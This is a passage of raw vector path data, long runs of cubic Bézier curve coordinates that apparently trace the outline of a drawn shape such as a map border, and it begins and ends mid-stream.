170549.36 113072.15 170560.00 113147.00C170549.33 113157.67 170538.67 113168.33 170528.00 113179.00C170528.25 113201.13 170527.49 113223.32 170528.40 113245.41C170538.93 113308.94 170549.46 113372.47 170560.00 113436.00C170635.00 113543.33 170710.00 113650.67 170785.00 113758.00C170795.67 113758.00 170806.33 113758.00 170817.00 113758.00C170800.67 113774.24 170784.85 113791.05 170766.89 113805.53C170697.93 113864.69 170628.96 113923.84 170560.00 113983.00C170570.67 114015.00 170581.33 114047.00 170592.00 114079.00C170560.00 114100.67 170528.00 114122.33 170496.00 114144.00C170484.84 114165.42 170474.03 114187.02 170462.67 114208.33C170377.11 114293.89 170291.56 114379.44 170206.00 114465.00C170195.33 114486.67 170184.67 114508.33 170174.00 114530.00C170174.00 114551.33 170174.00 114572.67 170174.00 114594.00C170184.67 114604.67 170195.33 114615.33 170206.00 114626.00C170194.77 114636.79 170184.33 114648.58 170172.59 114658.71C170087.39 114701.47 170002.20 114744.24 169917.00 114787.00C169895.33 114787.00 169873.67 114787.00 169852.00 114787.00C169841.33 114776.33 169830.67 114765.67 169820.00 114755.00C169798.67 114765.67 169777.33 114776.33 169756.00 114787.00C169734.67 114808.33 169713.33 114829.67 169692.00 114851.00C169681.19 114851.10 169670.37 114850.80 169659.56 114851.15C169626.98 114862.10 169594.11 114872.32 169561.72 114883.73C169487.15 114926.49 169412.58 114969.25 169338.00 115012.00C169294.93 115054.81 169251.72 115097.48 169208.72 115140.37C169176.62 115183.71 169144.13 115226.78 169112.27 115270.28C169069.24 115345.48 169025.94 115420.53 168983.09 115495.83C168940.73 115580.89 168898.36 115665.94 168856.00 115751.00C168845.33 115740.33 168834.67 115729.67 168824.00 115719.00C168791.67 115719.00 168759.33 115719.00 168727.00 115719.00C168727.00 115708.33 168727.00 115697.67 168727.00 115687.00C168716.33 115687.00 168705.67 115687.00 168695.00 115687.00C168705.67 115708.33 168716.33 115729.67 168727.00 115751.00C168748.33 115740.33 168769.67 115729.67 168791.00 115719.00C168780.33 115729.67 168769.67 115740.33 168759.00 115751.00C168769.67 115772.67 168780.33 115794.33 168791.00 115816.00C168802.00 115805.00 168813.00 115794.00 168824.00 115783.00C168770.28 115858.48 168716.43 115933.87 168662.78 116009.41C168587.85 116148.61 168512.93 116287.80 168438.00 116427.00C168438.00 116448.33 168438.00 116469.67 168438.00 116491.00C168405.67 116555.33 168373.33 116619.67 168341.00 116684.00C168340.59 116695.62 168341.86 116707.39 168340.28 116718.90C168329.85 116760.93 168319.42 116802.97 168309.00 116845.00C168319.67 116855.67 168330.33 116866.33 168341.00 116877.00C168319.67 116919.67 168298.33 116962.33 168277.00 117005.00C168277.00 116973.00 168277.00 116941.00 168277.00 116909.00C168265.77 116898.21 168255.33 116886.42 168243.58 116876.28C168222.34 116865.57 168200.95 116855.18 168179.83 116844.25C167826.22 116619.17 167472.61 116394.08 167119.00 116169.00C167106.87 116157.42 167095.82 116144.62 167082.89 116133.92C167040.44 116102.29 166998.40 116070.11 166955.69 116038.85C166771.64 115919.87 166587.82 115800.53 166403.63 115681.78C166149.09 115522.85 165894.54 115363.93 165640.00 115205.00C165640.00 115162.00 165640.00 115119.00 165640.00 115076.00C165617.96 115064.74 165595.50 115054.24 165573.74 115042.49C165542.40 115021.53 165510.93 115000.77 165479.68 114979.67C165469.12 114968.78 165458.56 114957.89 165448.00 114947.00C165448.00 114936.33 165448.00 114925.67 165448.00 114915.00C165533.67 114872.33 165619.33 114829.67 165705.00 114787.00C165758.33 114712.00 165811.67 114637.00 165865.00 114562.00C165865.00 114551.33 165865.00 114540.67 165865.00 114530.00C165854.33 114508.33 165843.67 114486.67 165833.00 114465.00C165811.67 114454.33 165790.33 114443.67 165769.00 114433.00C165758.33 114443.67 165747.67 114454.33 165737.00 114465.00C165747.67 114443.67 165758.33 114422.33 165769.00 114401.00C165758.33 114379.67 165747.67 114358.33 165737.00 114337.00C165715.67 114315.33 165694.33 114293.67 165673.00 114272.00C165683.67 114250.67 165694.33 114229.33 165705.00 114208.00C165694.33 114186.67 165683.67 114165.33 165673.00 114144.00C165683.67 114122.33 165694.33 114100.67 165705.00 114079.00C165683.33 114047.00 165661.67 114015.00 165640.00 113983.00C165608.00 113983.00 165576.00 113983.00 165544.00 113983.00C165533.33 113961.67 165522.67 113940.33 165512.00 113919.00C165479.67 113929.67 165447.33 113940.33 165415.00 113951.00C165404.33 113940.33 165393.67 113929.67 165383.00 113919.00C165372.33 113886.67 165361.67 113854.33 165351.00 113822.00C165340.33 113822.00 165329.67 113822.00 165319.00 113822.00C165308.33 113811.33 165297.67 113800.67 165287.00 113790.00C165287.00 113758.00 165287.00 113726.00 165287.00 113694.00C165276.16 113682.97 165265.61 113671.64 165254.58 113660.80C165233.05 113650.20 165211.53 113639.60 165190.00 113629.00C165179.33 113618.33 165168.67 113607.67 165158.00 113597.00C165168.67 113575.67 165179.33 113554.33 165190.00 113533.00C165168.67 113522.33 165147.33 113511.67 165126.00 113501.00C165115.33 113479.33 165104.67 113457.67 165094.00 113436.00C165083.33 113425.33 165072.67 113414.67 165062.00 113404.00C165062.00 113425.33 165062.00 113446.67 165062.00 113468.00C165051.00 113500.33 165040.00 113532.67 165029.00 113565.00C165017.75 113542.96 165007.22 113520.51 164995.50 113498.73C164974.67 113467.15 164953.83 113435.58 164933.00 113404.00C164922.33 113404.00 164911.67 113404.00 164901.00 113404.00C164879.67 113425.33 164858.33 113446.67 164837.00 113468.00C164826.00 113446.67 164815.00 113425.33 164804.00 113404.00C164782.67 113393.33 164761.33 113382.67 164740.00 113372.00C164740.00 113340.00 164740.00 113308.00 164740.00 113276.00C164750.67 113276.00 164761.33 113276.00 164772.00 113276.00C164761.33 113254.33 164750.67 113232.67 164740.00 113211.00C164750.67 113200.33 164761.33 113189.67 164772.00 113179.00C164740.00 113179.00 164708.00 113179.00 164676.00 113179.00C164654.67 113200.33 164633.33 113221.67 164612.00 113243.00C164579.67 113221.67 164547.33 113200.33 164515.00 113179.00C164493.67 113125.33 164472.33 113071.67 164451.00 113018.00C164429.59 112996.40 164407.92 112975.08 164386.00 112954.00C164397.00 112932.67 164408.00 112911.33 164419.00 112890.00C164419.00 112857.67 164419.00 112825.33 164419.00 112793.00C164397.33 112793.00 164375.67 112793.00 164354.00 112793.00C164354.00 112771.67 164354.00 112750.33 164354.00 112729.00C164343.33 112729.00 164332.67 112729.00 164322.00 112729.00C164300.67 112696.67 164279.33 112664.33 164258.00 112632.00C164258.00 112610.67 164258.00 112589.33 164258.00 112568.00C164204.33 112557.33 164150.67 112546.67 164097.00 112536.00C164075.67 112514.67 164054.33 112493.33 164033.00 112472.00C164011.33 112461.33 163989.67 112450.67 163968.00 112440.00C163936.00 112450.67 163904.00 112461.33 163872.00 112472.00C163860.48 112460.93 163849.82 112448.88 163837.73 112438.47C163806.15 112417.32 163774.58 112396.15 163743.00 112375.00C163786.00 112353.67 163829.00 112332.33 163872.00 112311.00C163872.00 112268.00 163872.00 112225.00 163872.00 112182.00C163861.33 112171.33 163850.67 112160.67 163840.00 112150.00C163861.33 112128.67 163882.67 112107.33 163904.00 112086.00C163882.67 112075.33 163861.33 112064.67 163840.00 112054.00C163840.00 112032.33 163840.00 112010.67 163840.00 111989.00C163861.33 111989.00 163882.67 111989.00 163904.00 111989.00C163904.00 111967.67 163904.00 111946.33 163904.00 111925.00C163914.67 111925.00 163925.33 111925.00 163936.00 111925.00C163957.67 111893.00 163979.33 111861.00 164001.00 111829.00C164043.67 111818.33 164086.33 111807.67 164129.00 111797.00C164097.00 111775.33 164065.00 111753.67 164033.00 111732.00C164033.00 111710.67 164033.00 111689.33 164033.00 111668.00C164022.33 111657.33 164011.67 111646.67 164001.00 111636.00C164001.00 111614.33 164001.00 111592.67 164001.00 111571.00C164011.67 111571.00 164022.33 111571.00 164033.00 111571.00C164043.67 111560.33 164054.33 111549.67 164065.00 111539.00C164054.33 111507.00 164043.67 111475.00 164033.00 111443.00C164054.33 111421.67 164075.67 111400.33 164097.00 111379.00C164097.00 111357.33 164097.00 111335.67 164097.00 111314.00C164065.00 111303.33 164033.00 111292.67 164001.00 111282.00C163990.00 111228.33 163979.00 111174.67 163968.00 111121.00C163989.67 111089.00 164011.33 111057.00 164033.00 111025.00C164043.59 110960.18 164054.81 110895.42 164065.00 110830.55C164065.00 110820.37 164065.00 110810.18 164065.00 110800.00C164043.67 110800.00 164022.33 110800.00 164001.00 110800.00C164001.00 110767.67 164001.00 110735.33 164001.00 110703.00C164033.00 110638.67 164065.00 110574.33 164097.00 110510.00C164097.07 110488.52 164096.85 110467.03 164097.11 110445.55C164107.74 110402.70 164118.37 110359.85 164129.00 110317.00C164139.67 110317.00 164150.33 110317.00 164161.00 110317.00C164193.33 110285.00 164225.67 110253.00 164258.00 110221.00C164279.69 110166.75 164300.96 110112.32 164322.91 110058.18C164343.94 110016.12 164364.97 109974.06 164386.00 109932.00C164386.00 109899.67 164386.00 109867.33 164386.00 109835.00C164407.67 109824.33 164429.33 109813.67 164451.00 109803.00C164483.00 109803.00 164515.00 109803.00 164547.00 109803.00C164547.00 109813.67 164547.00 109824.33 164547.00 109835.00C164557.67 109845.67 164568.33 109856.33 164579.00 109867.00C164611.33 109867.00 164643.67 109867.00 164676.00 109867.00C164697.33 109877.67 164718.67 109888.33 164740.00 109899.00C164750.67 109899.00 164761.33 109899.00 164772.00 109899.00C164782.67 109888.33 164793.33 109877.67 164804.00 109867.00C164815.15 109866.90 164826.30 109867.20 164837.44 109866.85C164869.29 109856.24 164901.15 109845.62 164933.00 109835.00C164943.67 109824.33 164954.33 109813.67 164965.00 109803.00C164997.33 109824.33 165029.67 109845.67 165062.00 109867.00C165062.00 109877.67 165062.00 109888.33 165062.00 109899.00C165072.67 109899.00 165083.33 109899.00 165094.00 109899.00C165115.33 109920.67 165136.67 109942.33 165158.00 109964.00C165168.67 109953.33 165179.33 109942.67 165190.00 109932.00C165200.67 109932.00 165211.33 109932.00 165222.00 109932.00C165243.67 109910.33 165265.33 109888.67 165287.00 109867.00C165297.67 109888.67 165308.33 109910.33 165319.00 109932.00C165340.33 109932.00 165361.67 109932.00 165383.00 109932.00C165393.67 109910.33 165404.33 109888.67 165415.00 109867.00C165415.00 109835.00 165415.00 109803.00 165415.00 109771.00C165426.00 109760.33 165437.00 109749.67 165448.00 109739.00C165448.00 109728.33 165448.00 109717.67 165448.00 109707.00C165469.33 109707.00 165490.67 109707.00 165512.00 109707.00C165512.00 109696.00 165512.00 109685.00 165512.00 109674.00C165522.67 109663.33 165533.33 109652.67 165544.00 109642.00C165533.33 109631.33 165522.67 109620.67 165512.00 109610.00C165512.00 109588.67 165512.00 109567.33 165512.00 109546.00C165501.33 109535.33 165490.67 109524.67 165480.00 109514.00C165480.00 109492.33 165480.00 109470.67 165480.00 109449.00C165458.33 109438.33 165436.67 109427.67 165415.00 109417.00C165393.67 109427.67 165372.33 109438.33 165351.00 109449.00C165340.33 109438.33 165329.67 109427.67 165319.00 109417.00C165276.00 109417.00 165233.00 109417.00 165190.00 109417.00C165147.33 109395.67 165104.67 109374.33 165062.00 109353.00C165083.33 109342.33 165104.67 109331.67 165126.00 109321.00C165147.33 109267.33 165168.67 109213.67 165190.00 109160.00C165211.67 109149.33 165233.33 109138.67 165255.00 109128.00C165255.00 109095.67 165255.00 109063.33 165255.00 109031.00C165265.67 109009.67 165276.33 108988.33 165287.00 108967.00C165265.59 108945.40 165243.92 108924.08 165222.00 108903.00C165222.00 108881.33 165222.00 108859.67 165222.00 108838.00C165243.67 108795.33 165265.33 108752.67 165287.00 108710.00C165297.67 108656.33 165308.33 108602.67 165319.00 108549.00C165329.67 108527.67 165340.33 108506.33 165351.00 108485.00C165351.00 108474.33 165351.00 108463.67 165351.00 108453.00C165372.33 108410.00 165393.67 108367.00 165415.00 108324.00C165436.67 108324.00 165458.33 108324.00 165480.00 108324.00C165490.67 108313.33 165501.33 108302.67 165512.00 108292.00C165522.67 108302.67 165533.33 108313.33 165544.00 108324.00C165544.00 108313.33 165544.00 108302.67 165544.00 108292.00C165554.67 108281.33 165565.33 108270.67 165576.00 108260.00C165586.67 108260.00 165597.33 108260.00 165608.00 108260.00C165640.33 108281.33 165672.67 108302.67 165705.00 108324.00C165726.33 108324.00 165747.67 108324.00 165769.00 108324.00C165769.00 108313.33 165769.00 108302.67 165769.00 108292.00C165779.67 108302.67 165790.33 108313.33 165801.00 108324.00C165833.33 108334.67 165865.67 108345.33 165898.00 108356.00C165919.33 108356.00 165940.67 108356.00 165962.00 108356.00C165962.00 108324.00 165962.00 108292.00 165962.00 108260.00C165951.33 108260.00 165940.67 108260.00 165930.00 108260.00C165930.00 108227.67 165930.00 108195.33 165930.00 108163.00C165919.33 108163.00 165908.67 108163.00 165898.00 108163.00C165887.00 108152.33 165876.00 108141.67 165865.00 108131.00C165876.00 108131.00 165887.00 108131.00 165898.00 108131.00C165898.00 108109.67 165898.00 108088.33 165898.00 108067.00C165908.67 108067.00 165919.33 108067.00 165930.00 108067.00C165972.90 108024.24 166015.34 107981.01 166058.00 107938.00C166079.67 107895.33 166101.33 107852.67 166123.00 107810.00C166133.67 107810.00 166144.33 107810.00 166155.00 107810.00C166165.84 107787.50 166177.46 107765.35 166187.79 107742.63C166198.48 107710.96 166208.67 107679.10 166219.70 107647.57C166230.13 107626.38 166240.57 107605.19 166251.00 107584.00C166261.67 107605.67 166272.33 107627.33 166283.00 107649.00C166272.33 107670.33 166261.67 107691.67 166251.00 107713.00C166261.67 107713.00 166272.33 107713.00 166283.00 107713.00C166294.00 107734.33 166305.00 107755.67 166316.00 107777.00C166337.33 107766.33 166358.67 107755.67 166380.00 107745.00C166390.67 107723.67 166401.33 107702.33 166412.00 107681.00C166412.00 107659.67 166412.00 107638.33 166412.00 107617.00C166433.33 107617.00 166454.67 107617.00 166476.00 107617.00C166487.00 107584.67 166498.00 107552.33 166509.00 107520.00C166509.00 107509.33 166509.00 107498.67 166509.00 107488.00C166520.28 107464.80 166532.63 107442.09 166543.16 107418.55C166563.77 107366.70 166584.38 107314.85 166605.00 107263.00C166626.33 107241.67 166647.67 107220.33 166669.00 107199.00C166669.00 107188.00 166669.00 107177.00 166669.00 107166.00C166690.67 107155.33 166712.33 107144.67 166734.00 107134.00C166734.00 107112.67 166734.00 107091.33 166734.00 107070.00C166744.67 107059.33 166755.33 107048.67 166766.00 107038.00C166776.67 107038.00 166787.33 107038.00 166798.00 107038.00C166798.00 107048.67 166798.00 107059.33 166798.00 107070.00C166808.67 107070.00 166819.33 107070.00 166830.00 107070.00C166840.67 107080.67 166851.33 107091.33 166862.00 107102.00C166872.67 107102.00 166883.33 107102.00 166894.00 107102.00C166905.00 107059.33 166916.00 107016.67 166927.00 106974.00C166948.42 106962.84 166970.02 106952.03 166991.33 106940.67C167001.89 106930.11 167012.44 106919.56 167023.00 106909.00C167055.00 106909.00 167087.00 106909.00 167119.00 106909.00C167108.33 106877.00 167097.67 106845.00 167087.00 106813.00C167076.30 106802.16 167065.31 106791.60 167054.80 106780.58C167044.20 106759.05 167033.60 106737.53 167023.00 106716.00C167055.00 106673.33 167087.00 106630.67 167119.00 106588.00C167119.00 106577.00 167119.00 106566.00 167119.00 106555.00C167140.67 106544.33 167162.33 106533.67 167184.00 106523.00C167184.00 106512.33 167184.00 106501.67 167184.00 106491.00C167205.33 106480.33 167226.67 106469.67 167248.00 106459.00C167258.67 106416.00 167269.33 106373.00 167280.00 106330.00C167269.33 106308.67 167258.67 106287.33 167248.00 106266.00C167237.33 106266.00 167226.67 106266.00 167216.00 106266.00C167205.33 106244.67 167194.67 106223.33 167184.00 106202.00C167194.67 106202.00 167205.33 106202.00 167216.00 106202.00C167226.67 106212.67 167237.33 106223.33 167248.00 106234.00C167258.67 106234.00 167269.33 106234.00 167280.00 106234.00C167280.00 106223.33 167280.00 106212.67 167280.00 106202.00C167312.33 106180.67 167344.67 106159.33 167377.00 106138.00C167377.00 106116.33 167377.00 106094.67 167377.00 106073.00C167366.33 106062.33 167355.67 106051.67 167345.00 106041.00C167345.00 106019.67 167345.00 105998.33 167345.00 105977.00C167323.33 105977.00 167301.67 105977.00 167280.00 105977.00C167280.00 105955.33 167280.00 105933.67 167280.00 105912.00C167269.33 105890.67 167258.67 105869.33 167248.00 105848.00C167226.67 105837.33 167205.33 105826.67 167184.00 105816.00C167184.00 105794.67 167184.00 105773.33 167184.00 105752.00C167151.67 105719.67 167119.33 105687.33 167087.00 105655.00C167065.67 105655.00 167044.33 105655.00 167023.00 105655.00C167023.00 105644.33 167023.00 105633.67 167023.00 105623.00C167044.33 105591.00 167065.67 105559.00 167087.00 105527.00C167097.67 105527.00 167108.33 105527.00 167119.00 105527.00C167108.33 105527.00 167097.67 105527.00 167087.00 105527.00C167076.33 105516.00 167065.67 105505.00 167055.00 105494.00C167001.33 105494.00 166947.67 105494.00 166894.00 105494.00C166894.00 105515.67 166894.00 105537.33 166894.00 105559.00C166862.00 105559.00 166830.00 105559.00 166798.00 105559.00C166798.00 105537.33 166798.00 105515.67 166798.00 105494.00C166776.67 105494.00 166755.33 105494.00 166734.00 105494.00C166734.00 105505.00 166734.00 105516.00 166734.00 105527.00C166723.00 105527.00 166712.00 105527.00 166701.00 105527.00C166701.00 105516.00 166701.00 105505.00 166701.00 105494.00C166690.33 105494.00 166679.67 105494.00 166669.00 105494.00C166658.33 105472.67 166647.67 105451.33 166637.00 105430.00C166626.33 105430.00 166615.67 105430.00 166605.00 105430.00C166605.00 105440.67 166605.00 105451.33 166605.00 105462.00C166594.33 105462.00 166583.67 105462.00 166573.00 105462.00C166573.00 105451.33 166573.00 105440.67 166573.00 105430.00C166562.33 105430.00 166551.67 105430.00 166541.00 105430.00C166551.67 105419.33 166562.33 105408.67 166573.00 105398.00C166551.67 105398.00 166530.33 105398.00 166509.00 105398.00C166498.00 105387.33 166487.00 105376.67 166476.00 105366.00C166487.00 105366.00 166498.00 105366.00 166509.00 105366.00C166498.00 105355.33 166487.00 105344.67 166476.00 105334.00C166454.67 105334.00 166433.33 105334.00 166412.00 105334.00C166412.00 105323.33 166412.00 105312.67 166412.00 105302.00C166422.67 105302.00 166433.33 105302.00 166444.00 105302.00C166433.33 105291.00 166422.67 105280.00 166412.00 105269.00C166412.00 105258.33 166412.00 105247.67 166412.00 105237.00C166401.33 105226.33 166390.67 105215.67 166380.00 105205.00C166369.33 105215.67 166358.67 105226.33 166348.00 105237.00C166348.00 105226.33 166348.00 105215.67 166348.00 105205.00C166358.67 105205.00 166369.33 105205.00 166380.00 105205.00C166380.00 105183.67 166380.00 105162.33 166380.00 105141.00C166380.00 105151.67 166380.00 105162.33 166380.00 105173.00C166390.67 105140.67 166401.33 105108.33 166412.00 105076.00C166401.33 105076.00 166390.67 105076.00 166380.00 105076.00C166369.33 105097.67 166358.67 105119.33 166348.00 105141.00C166337.33 105141.00 166326.67 105141.00 166316.00 105141.00C166305.00 105130.33 166294.00 105119.67 166283.00 105109.00C166294.00 105087.33 166305.00 105065.67 166316.00 105044.00C166316.00 105033.33 166316.00 105022.67 166316.00 105012.00C166294.33 105022.67 166272.67 105033.33 166251.00 105044.00C166251.00 105054.67 166251.00 105065.33 166251.00 105076.00C166229.67 105076.00 166208.33 105076.00 166187.00 105076.00C166176.33 105065.33 166165.67 105054.67 166155.00 105044.00C166133.67 105054.67 166112.33 105065.33 166091.00 105076.00C166080.00 105076.00 166069.00 105076.00 166058.00 105076.00C166058.00 105054.67 166058.00 105033.33 166058.00 105012.00C166047.33 105022.67 166036.67 105033.33 166026.00 105044.00C166004.67 105044.00 165983.33 105044.00 165962.00 105044.00C165962.00 105054.67 165962.00 105065.33 165962.00 105076.00C165951.33 105076.00 165940.67 105076.00 165930.00 105076.00C165930.00 105065.33 165930.00 105054.67 165930.00 105044.00C165919.33 105054.67 165908.67 105065.33 165898.00 105076.00C165887.00 105065.33 165876.00 105054.67 165865.00 105044.00C165886.67 105033.33 165908.33 105022.67 165930.00 105012.00C165930.00 104969.33 165930.00 104926.67 165930.00 104884.00C165919.33 104884.00 165908.67 104884.00 165898.00 104884.00C165865.67 104862.33 165833.33 104840.67 165801.00 104819.00C165790.33 104829.67 165779.67 104840.33 165769.00 104851.00C165769.00 104840.33 165769.00 104829.67 165769.00 104819.00C165758.33 104819.00 165747.67 104819.00 165737.00 104819.00C165737.00 104797.67 165737.00 104776.33 165737.00 104755.00C165726.33 104755.00 165715.67 104755.00 165705.00 104755.00C165705.00 104744.33 165705.00 104733.67 165705.00 104723.00C165694.33 104723.00 165683.67 104723.00 165673.00 104723.00C165673.00 104701.33 165673.00 104679.67 165673.00 104658.00C165662.00 104658.00 165651.00 104658.00 165640.00 104658.00C165640.00 104647.33 165640.00 104636.67 165640.00 104626.00C165629.33 104604.67 165618.67 104583.33 165608.00 104562.00C165597.33 104562.00 165586.67 104562.00 165576.00 104562.00C165554.67 104572.67 165533.33 104583.33 165512.00 104594.00C165490.67 104594.00 165469.33 104594.00 165448.00 104594.00C165437.00 104604.67 165426.00 104615.33 165415.00 104626.00C165404.33 104615.33 165393.67 104604.67 165383.00 104594.00C165361.67 104604.67 165340.33 104615.33 165319.00 104626.00C165265.33 104626.00 165211.67 104626.00 165158.00 104626.00C165147.33 104636.67 165136.67 104647.33 165126.00 104658.00C165115.33 104647.33 165104.67 104636.67 165094.00 104626.00C165083.33 104626.00 165072.67 104626.00 165062.00 104626.00C165051.00 104615.33 165040.00 104604.67 165029.00 104594.00C165007.67 104604.67 164986.33 104615.33 164965.00 104626.00C164954.33 104636.67 164943.67 104647.33 164933.00 104658.00C164922.33 104647.33 164911.67 104636.67 164901.00 104626.00C164879.67 104626.00 164858.33 104626.00 164837.00 104626.00C164826.00 104615.33 164815.00 104604.67 164804.00 104594.00C164804.00 104604.67 164804.00 104615.33 164804.00 104626.00C164782.67 104604.67 164761.33 104583.33 164740.00 104562.00C164740.00 104572.67 164740.00 104583.33 164740.00 104594.00C164729.33 104583.33 164718.67 104572.67 164708.00 104562.00C164697.33 104519.00 164686.67 104476.00 164676.00 104433.00C164643.67 104401.00 164611.33 104369.00 164579.00 104337.00C164568.33 104337.00 164557.67 104337.00 164547.00 104337.00C164536.33 104326.33 164525.67 104315.67 164515.00 104305.00C164493.53 104337.09 164472.27 104369.32 164450.67 104401.33C164440.11 104411.89 164429.56 104422.44 164419.00 104433.00C164397.08 104411.92 164375.41 104390.60 164354.00 104369.00C164332.67 104379.67 164311.33 104390.33 164290.00 104401.00C164279.33 104422.67 164268.67 104444.33 164258.00 104466.00C164258.00 104487.33 164258.00 104508.67 164258.00 104530.00C164225.67 104530.00 164193.33 104530.00 164161.00 104530.00C164139.67 104540.67 164118.33 104551.33 164097.00 104562.00C164075.67 104562.00 164054.33 104562.00 164033.00 104562.00C164022.33 104540.67 164011.67 104519.33 164001.00 104498.00C164011.67 104476.33 164022.33 104454.67 164033.00 104433.00C163990.00 104422.33 163947.00 104411.67 163904.00 104401.00C163904.00 104390.33 163904.00 104379.67 163904.00 104369.00C163882.67 104358.33 163861.33 104347.67 163840.00 104337.00C163850.67 104326.33 163861.33 104315.67 163872.00 104305.00C163872.00 104294.33 163872.00 104283.67 163872.00 104273.00C163861.33 104262.00 163850.67 104251.00 163840.00 104240.00C163829.33 104240.00 163818.67 104240.00 163808.00 104240.00C163786.33 104208.00 163764.67 104176.00 163743.00 104144.00C163732.33 104144.00 163721.67 104144.00 163711.00 104144.00C163700.33 104165.33 163689.67 104186.67 163679.00 104208.00C163668.33 104208.00 163657.67 104208.00 163647.00 104208.00C163625.67 104165.33 163604.33 104122.67 163583.00 104080.00C163550.67 104069.33 163518.33 104058.67 163486.00 104048.00C163486.00 104037.00 163486.00 104026.00 163486.00 104015.00C163464.67 103983.00 163443.33 103951.00 163422.00 103919.00C163411.33 103919.00 163400.67 103919.00 163390.00 103919.00C163390.00 103908.33 163390.00 103897.67 163390.00 103887.00C163379.00 103887.00 163368.00 103887.00 163357.00 103887.00C163335.67 103897.67 163314.33 103908.33 163293.00 103919.00C163271.67 103919.00 163250.33 103919.00 163229.00 103919.00C163218.33 103940.33 163207.67 103961.67 163197.00 103983.00C163207.67 104004.67 163218.33 104026.33 163229.00 104048.00C163218.33 104048.00 163207.67 104048.00 163197.00 104048.00C163186.33 104058.67 163175.67 104069.33 163165.00 104080.00C163132.67 104090.67 163100.33 104101.33 163068.00 104112.00C163046.67 104101.33 163025.33 104090.67 163004.00 104080.00C162993.33 104058.33 162982.67 104036.67 162972.00 104015.00C162982.67 103993.67 162993.33 103972.33 163004.00 103951.00C162993.33 103929.67 162982.67 103908.33 162972.00 103887.00C162929.00 103865.33 162886.00 103843.67 162843.00 103822.00C162843.00 103811.33 162843.00 103800.67 162843.00 103790.00C162821.67 103790.00 162800.33 103790.00 162779.00 103790.00C162779.00 103833.00 162779.00 103876.00 162779.00 103919.00C162768.33 103919.00 162757.67 103919.00 162747.00 103919.00C162736.00 103940.33 162725.00 103961.67 162714.00 103983.00C162703.33 103972.33 162692.67 103961.67 162682.00 103951.00C162671.33 103961.67 162660.67 103972.33 162650.00 103983.00C162607.00 103993.67 162564.00 104004.33 162521.00 104015.00C162489.00 104015.00 162457.00 104015.00 162425.00 104015.00C162414.33 103961.67 162403.67 103908.33 162393.00 103855.00C162328.67 103855.00 162264.33 103855.00 162200.00 103855.00C162178.67 103833.33 162157.33 103811.67 162136.00 103790.00C162136.00 103811.67 162136.00 103833.33 162136.00 103855.00C162114.59 103876.60 162092.92 103897.92 162071.00 103919.00C162071.00 103951.00 162071.00 103983.00 162071.00 104015.00C162060.33 104015.00 162049.67 104015.00 162039.00 104015.00C162007.00 104047.33 161975.00 104079.67 161943.00 104112.00C161900.00 104112.00 161857.00 104112.00 161814.00 104112.00C161782.00 104133.33 161750.00 104154.67 161718.00 104176.00C161685.67 104165.33 161653.33 104154.67 161621.00 104144.00C161589.00 104176.00 161557.00 104208.00 161525.00 104240.00C161482.00 104251.00 161439.00 104262.00 161396.00 104273.00C161385.33 104273.00 161374.67 104273.00 161364.00 104273.00C161353.33 104305.00 161342.67 104337.00 161332.00 104369.00C161321.33 104379.67 161310.67 104390.33 161300.00 104401.00C161256.90 104379.87 161213.90 104358.54 161171.00 104337.00C161139.00 104326.33 161107.00 104315.67 161075.00 104305.00C161064.00 104305.00 161053.00 104305.00 161042.00 104305.00C161010.00 104283.33 160978.00 104261.67 160946.00 104240.00C160914.00 104240.00 160882.00 104240.00 160850.00 104240.00C160827.50 104251.17 160805.38 104263.18 160782.63 104273.79C160751.42 104284.19 160720.21 104294.60 160689.00 104305.00C160667.33 104283.33 160645.67 104261.67 160624.00 104240.00C160613.33 104240.00 160602.67 104240.00 160592.00 104240.00C160570.67 104251.00 160549.33 104262.00 160528.00 104273.00C160485.00 104273.00 160442.00 104273.00 160399.00 104273.00C160388.30 104101.18 160377.70 103929.35 160366.93 103757.54C160334.95 103532.69 160302.98 103307.85 160271.00 103083.00C160271.00 103072.33 160271.00 103061.67 160271.00 103051.00C160227.90 103018.54 160184.70 102986.21 160141.67 102953.67C160022.82 102835.28 159904.21 102716.63 159785.20 102598.40C159628.16 102452.70 159471.47 102306.62 159314.20 102161.18C158936.47 101814.78 158558.73 101468.39 158181.00 101122.00C158170.33 101122.00 158159.67 101122.00 158149.00 101122.00C158138.33 101132.67 158127.67 101143.33 158117.00 101154.00C158073.87 101164.77 158030.68 101175.27 157987.59 101186.21C157966.39 101196.80 157945.20 101207.40 157924.00 101218.00C157902.33 101218.00 157880.67 101218.00 157859.00 101218.00C157848.33 101250.33 157837.67 101282.67 157827.00 101315.00C157805.67 101325.67 157784.33 101336.33 157763.00 101347.00C157752.33 101357.67 157741.67 101368.33 157731.00 101379.00C157709.33 101379.00 157687.67 101379.00 157666.00 101379.00C157655.33 101389.67 157644.67 101400.33 157634.00 101411.00C157612.67 101411.00 157591.33 101411.00 157570.00 101411.00C157570.00 101432.33 157570.00 101453.67 157570.00 101475.00C157537.67 101485.67 157505.33 101496.33 157473.00 101507.00C157430.33 101485.67 157387.67 101464.33 157345.00 101443.00C157323.67 101443.00 157302.33 101443.00 157281.00 101443.00C157270.00 101432.33 157259.00 101421.67 157248.00 101411.00C157194.52 101421.73 157141.02 101432.32 157087.56 101443.15C157023.24 101464.52 156958.87 101485.73 156894.59 101507.21C156873.06 101518.14 156851.53 101529.07 156830.00 101540.00C156808.67 101540.00 156787.33 101540.00 156766.00 101540.00C156766.00 101507.67 156766.00 101475.33 156766.00 101443.00C156755.33 101443.00 156744.67 101443.00 156734.00 101443.00C156723.33 101411.00 156712.67 101379.00 156702.00 101347.00C156680.33 101325.33 156658.67 101303.67 156637.00 101282.00C156615.67 101271.33 156594.33 101260.67 156573.00 101250.00C156551.67 101228.67 156530.33 101207.33 156509.00 101186.00C156509.00 101164.67 156509.00 101143.33 156509.00 101122.00C156487.67 101122.00 156466.33 101122.00 156445.00 101122.00C156434.00 101100.33 156423.00 101078.67 156412.00 101057.00C156401.33 101057.00 156390.67 101057.00 156380.00 101057.00C156380.00 101078.67 156380.00 101100.33 156380.00 101122.00C156358.67 101132.67 156337.33 101143.33 156316.00 101154.00C156305.33 101143.33 156294.67 101132.67 156284.00 101122.00C156262.67 101132.67 156241.33 101143.33 156220.00 101154.00C156198.33 101143.33 156176.67 101132.67 156155.00 101122.00C156122.90 101143.46 156090.68 101164.74 156058.67 101186.33C156037.11 101207.55 156015.56 101228.78 155994.00 101250.00C155972.67 101228.67 155951.33 101207.33 155930.00 101186.00C155919.33 101196.67 155908.67 101207.33 155898.00 101218.00C155887.33 101196.67 155876.67 101175.33 155866.00 101154.00C155823.00 101143.33 155780.00 101132.67 155737.00 101122.00C155726.22 101110.44 155714.46 101099.64 155704.29 101087.60C155693.86 101066.73 